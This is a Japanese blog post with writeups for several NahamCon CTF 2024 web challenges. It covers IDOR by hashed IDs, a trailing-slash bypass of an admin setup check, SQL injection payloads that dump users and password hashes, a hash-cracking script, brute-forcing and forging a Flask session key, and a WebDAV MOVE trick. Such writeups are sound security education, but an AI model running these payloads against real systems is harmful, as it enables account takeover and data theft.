はまやんはまやんはまやん

hamayanhamayan's blog

NahamCon CTF 2024 Writeups

https://ctftime.org/event/2364

[Web] iDoor

ソースコード無し。アクセスしてみるとGET /4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8という先にアクセスしている。タイトルからIDORを探すのだろう。ということは、このhex列は何か0とか1とかそういったものを指すのだろう。ハッシュ値であると推測をしてCrackStationに渡してみるとHITする。

Hash Type    Result
4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8    sha256  11

1をsha256にした/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4bPにアクセスしてみると、何かのwebカメラの映像が見える。ok.色々試して0をsha256にしたGET /5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9でフラグが得られた。

[Web] HelpfulDesk

ソースコード無しだが、アクセスしてみるとソースコードが配布されている。セキュリティアップデートが要求されているが、まだ適用されていないサイトのようだ。フッターを見ると© 2024 HelpfulDesk - Version 1.1とあり、バージョンは1.1。セキュリティ対応がなされているのはバージョン1.2なので、なんらかの脆弱性があるらしい。どちらのバージョンのソースコードも配布されているのでdiffを見てみよう…と思ったが、面倒なことにdllで配布されている… だが、diffを取ることでHelpfulDesk.dllに変更があることが分かるので、このソースコードを比較しよう。

SetupControllerに差分があった

using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text.Json;
using HelpfulDesk.Models;
using HelpfulDesk.Services;
using Microsoft.AspNetCore.Mvc;

namespace HelpfulDesk.Controllers
{
    // Token: 0x0200001F RID: 31
    [NullableContext(1)]
    [Nullable(0)]
    public class SetupController : Controller
    {
        // Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC
        public IActionResult SetupWizard()
        {
            if (System.IO.File.Exists(this._credsFilePath))
            {
                string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
                if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase))
                {
                    return this.View("Error", new ErrorViewModel
                    {
                        RequestId = "Server already set up.",
                        ExceptionMessage = "Server already set up.",
                        StatusCode = 403
                    });
                }
            }
            return this.View();
        }

        // Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C
        [HttpPost]
        public IActionResult SetupWizard(string username, string password)
        {
            string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json");
            List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials>
            {
                new AuthenticationService.UserCredentials
                {
                    Username = username,
                    Password = password,
                    IsAdmin = true
                }
            };
            string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null);
            System.IO.File.WriteAllText(filePath, json);
            return this.RedirectToAction("SetupComplete");
        }

        // Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489
        public IActionResult SetupComplete()
        {
            return this.View();
        }

        // Token: 0x0400009F RID: 159
        private readonly string _credsFilePath = "credentials.json";
    }
}

これはバージョン1.2のもの。バージョン1.1だとstring requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');string requestPath = base.HttpContext.Request.Path.Value;になっていた。つまり末尾にスラッシュを入れることでその後の確認がbypassできるようである。

ということで/Setup/SetupWizardにアクセスしてみる。すると、403エラーとともにException Message: Server already set up.と言われる。ソースコード通りですね。今回は脆弱なバージョンなので/Setup/SetupWizard/にしてみると、Setup Wizardが立ち上がり、管理者の認証情報を設定する画面が表示される。適当に設定すると管理者アカウントの認証情報が上書きでき、ログインすることができる。ログイン後は適当に巡回すると最終的にはGET /Dashboard/DownloadFile?fileName=flag.txtでフラグが手に入る。

[Web] All About Robots

ソースコード無し。問題文に従い、robots.txtを見てみよう。/robots.txt

User-agent: *
Disallow: /open_the_pod_bay_doors_hal_and_give_me_the_flag.html

ということで/open_the_pod_bay_doors_hal_and_give_me_the_flag.htmlにアクセスするとフラグが手に入る。

[Web] Hacker Web Store

ソースコードは無いが、password_list.txtというファイルが与えられる。

This challenge may require a local password list, which we have provided below. Reminder, bruteforcing logins is not necessary and against the rules.

とあるのでログインブルートフォースには使わないらしい。webサイトにアクセスしてみるとsessionのCookieがもらえる。

Set-Cookie: session=.eJxNy0EKgCAQQNG7zFoSDBK6jIzNiJJpNbOL7p7Llg_-fyCkmyXDmrAKG6AYTtRhsLkfbDdNVlik9BYIFSMO2TjP7Mk7t1AKFCe5alEGA9p3bmP-B_B-Gq0iIA.ZlBUWw.-DtXEWxUSPXj4Qcf72WWmS4V7Fs; HttpOnly; Path=/

websiteのタイトルからFlaskが使われているので、Flaskのセッションだろう。ここから色々やると、POST /createにてSQL Injectionが見つかる。name=s&price='&desc=sを送ると、Set-Cookie: session=.eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c; HttpOnly; Path=/というcookieが帰ってきて、flask-unsignを使って中身を見ると

$ flask-unsign -d -c ".eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c"
{'_flashes': [('message', "Error in Statement: INSERT INTO Products (name, price, desc) VALUES ('s', ''', 's');"), ('message', 'near "s": syntax error')], '_fresh': False, 'db_path': '/home/ctf/session_databases/b33e7d7226df_db.sqlite', 'token': 'b33e7d7226df'}

良い感じにエラーが出ている。INSERT文をうまく使って情報を抜き出すことができる。スキーマ構造を抜き出してみよう。', (SELECT group_concat(sql) FROM sqlite_master)); --をpriceに入れてみる。

CREATE TABLE users (
        id INTEGER NOT NULL,
        name VARCHAR(100),
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id)
),CREATE TABLE products (
        id INTEGER NOT NULL,
        name VARCHAR(100) NOT NULL,
        price INTEGER,
        &#34;desc&#34; TEXT,
        PRIMARY KEY (id)
)

いいですね。', (SELECT group_concat(name) FROM users)); --とするとJoram,James,website_admin_account。そして', (SELECT group_concat(password) FROM users)); --とすると

pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34,
pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b,
pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57

と出てくる。やっと辞書を使いそうな局面に来ました。これと配布されているpassword_list.txtを使ってパスワードクラックする。これはFlaskのwerkzeugで使われるパスワードハッシュであり、以下のスクリプトでクラックした。

from werkzeug.security import generate_password_hash, check_password_hash

hashes = [
    'pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34',
    'pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b',
    'pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57',
]

with open('password_list.txt', 'r') as file:
    for password in file.readlines():
        password = password.strip()

        cnt = 0
        for hashed in hashes:
            if check_password_hash(hashed, password):
                print(f'[FOUND] {hashed} -> {password}')
            cnt += 1

結構時間がかかるので待つと出てくる。

$ python3 crack.py 
[FOUND] pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57 -> ntadmin1234

ということでwebsite_admin_account:ntadmin1234でログインするとフラグが得られる。

[Web] Thomas DEVerson

ソースコード無し。サイトを巡回してソースコードを眺めると<!-- <a href="/backup" class="pl-md-0 p-3 text-white">Backup</a> !-->というのが見つかる。アクセスしてみるとソースコードが一部見える。

---------- command output: {head -n 10 app.py} ----------

from flask import (Flask, flash, redirect, render_template, request, send_from_directory, session, url_for)
from datetime import datetime

app = Flask(__name__)

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

allowed_users = ['Jefferson', 'Madison', 'Burr'] # No Federalists Allowed!!!!

---------- command output: {head -n 10 requirements.txt} ----------

Flask==3.0.3

サイトを巡回するとログインっぽいエンドポイントがある。POST /loginというのがあるので、Burrと送ってみると、Cannot login as Burr, account is protected!と言われる。それっぽい。このログイン試行のときにもらえるsessionがflaskのもので、flask-unsignを見てみると、以下のようになっている。

$ flask-unsign -d -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ"
{'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}

nameというカラムがありますね。これが偽装できればよさそう。秘密鍵は、先ほど漏洩していたソースコードにヒントがある。再掲する。

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

時刻を取得しているが、GET /statusというエンドポイントがあり、System healthy! Computing uptime... 82817 days 15 hours 0 minutesのように起動時刻からの時間を教えてくれている。そこから起動時間を推測して辞書を作りクラックすると鍵が見つかる。

$ cat make_dic.py 
import requests, subprocess, re
from datetime import datetime, timedelta

BASE = 'http://challenge.nahamcon.com:32692/'

# calc uptime
r = requests.get(BASE + "status").text
#print(r)
match = re.search(r"(\d+)\s+days?\s+(\d+)\s+hours?\s+(\d+)\s+minutes?", r)
days = int(match.group(1))
hours = int(match.group(2))
minutes = int(match.group(3))
uptime = datetime.now() - timedelta(days=days, hours=hours, minutes=minutes)
#print(uptime)

for d in range(-1000,1000):
    cand = uptime + timedelta(minutes=d)
    print('THE_REYNOLDS_PAMPHLET-' + cand.strftime("%Y%m%d%H%M"))

#result = subprocess.run(['ls', '-l'], capture_output=True, text=True).stdout



#payload = "', (SELECT group_concat(sql) FROM sqlite_master)); --"
#payload = "', (SELECT group_concat(name) FROM users)); --"
#payload = "', (SELECT group_concat(password) FROM users)); --"
#res = requests.post(f'{BASE}/create/', data={'name':'s', 'price':payload, 'desc':'s'}).text

#print(res)
$ python3 make_dic.py > dic.txt

$ flask-unsign -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ" --unsign --wordlist dic.txt --no-literal-eval
[*] Session decodes to: {'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 512 attemptsLET-17970825
b'THE_REYNOLDS_PAMPHLET-179708250845'

ok. GET /とかでもらえるやつを改ざんして、nameをJeffersonにして、GET /messagesを見るとフラグが書いてあった。

$ flask-unsign -d -c "eyJuYW1lIjoiZ3Vlc3QifQ.ZlEpnQ.33Au_c9XeallX2HjDX_rJ7yOOjc"
{'name': 'guest'}
$ flask-unsign --sign --secret THE_REYNOLDS_PAMPHLET-179708250845 --cookie "{'name': 'Jefferson'}"
eyJuYW1lIjoiYWRtaW4ifQ.ZlEq1A.MfNd_XpYhjvue5aVueotFe74vm8
$ curl -b 'session=eyJuYW1lIjoiSmVmZmVyc29uIn0.ZlErHQ.9xz77ORHdCgGlfzKk23J9QHJJeY' http://challenge.nahamcon.com:32692/messages | grep flag
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2108  100  2108    0     0   6121      0 --:--:-- --:--:-- --:--:--  6127
            <strong>flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■}</strong>

[Web] The Davinci Code

GET /codeでエラーが出る。ソースコードが一部漏洩する。

        abort(405)
    abort(404)
 
@app.route('/code')
def code():
    return render_template("code.html")
 
@app.route('/', methods=['GET', 'PROPFIND'])
def index():
    if request.method == 'GET':
        return render_template('index.html')

PROPFIND /というのができるっぽい。調べるとWebDAV

  • PROPFIND /から以下の情報が分かる
    • /__pycache__
    • /templates
    • /app.py
    • /static
    • /the_secret_dav_inci_code
  • PROPFIND /the_secret_dav_inci_codeから/the_secret_dav_inci_code/flag.txtが見つかるが、そのままでは見れない

ということで、/the_secret_dav_inci_code/flag.txtを見るために/staticに移して、それから取得することにする。以下のようにやればフラグが得られる。

$ curl -X MOVE --header 'Destination:static/flag.txt' 'http://challenge.nahamcon.com:30484/the_secret_dav_inci_code/flag.txt'

$ curl http://challenge.nahamcon.com:30484/static/flag.txt
flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}